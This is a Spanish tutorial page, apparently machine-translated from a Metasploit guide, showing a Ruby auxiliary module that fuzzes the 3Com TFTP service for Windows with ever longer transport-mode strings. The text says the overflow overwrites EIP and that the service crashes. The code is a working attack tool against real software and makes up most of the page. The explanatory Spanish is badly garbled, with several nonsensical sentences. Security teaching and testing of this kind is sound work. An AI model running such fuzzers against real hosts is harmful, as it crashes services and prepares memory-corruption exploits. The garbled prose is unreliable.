Simple Fuzzer TFTP
De www.metasploit-es.com.ar
Uno de los aspectos más potentes de Metasploit es como fácil esto debe hacer cambios y crear la nueva funcionalidad reutilizando el código existente. Por ejemplo, cuando este código de fuzzer muy simple se manifiesta, usted puede hacer unas modificaciones menores a un módulo de Metasploit existente para crear un módulo fuzzer. Los cambios pasarán longitudes crecientes al valor de modo de transporte al 3Com Servicio de TFTP para el Windows, que resulta en superponer de EIP.
#Metasploit
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => '3Com TFTP Fuzzer',
'Version' => '$Revision: 1 $',
'Description' => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
'Author' => 'Your name here',
'License' => MSF_LICENSE
)
register_options( [
Opt::RPORT(69)
], self.class)
end
def run_host(ip)
# Create an unbound UDP socket
udp_sock = Rex::Socket::Udp.create(
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
}
)
count = 10 # Set an initial count
while count < 2000 # While the count is under 2000 run
evil = "A" * count # Set a number of "A"s equal to count
pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00" # Define the payload
udp_sock.sendto(pkt, ip, datastore['RPORT']) # Send the packet
print_status("Sending: #{evil}") # Status update
resp = udp_sock.get(1) # Capture the response
count += 10 # Increase count by 10, and loop
end
end
end
Bastante honrado. Deja lo dirige y ven lo que pasa.
¡Y tenemos un accidente! El fuzzer trabaja como esperado. Mientras esto puede parecer simple en la superficie, una cosa de considerar es el código reutilizable que esto nos provee. En nuestro ejemplo, la estructura de carga útil fue definida para nosotros, salvándonos tiempo, y permitiéndonos ponerse directamente al fuzzing más bien que investigar el protocolo. Esto es muy potente, y es una ventaja escondida del Framework.
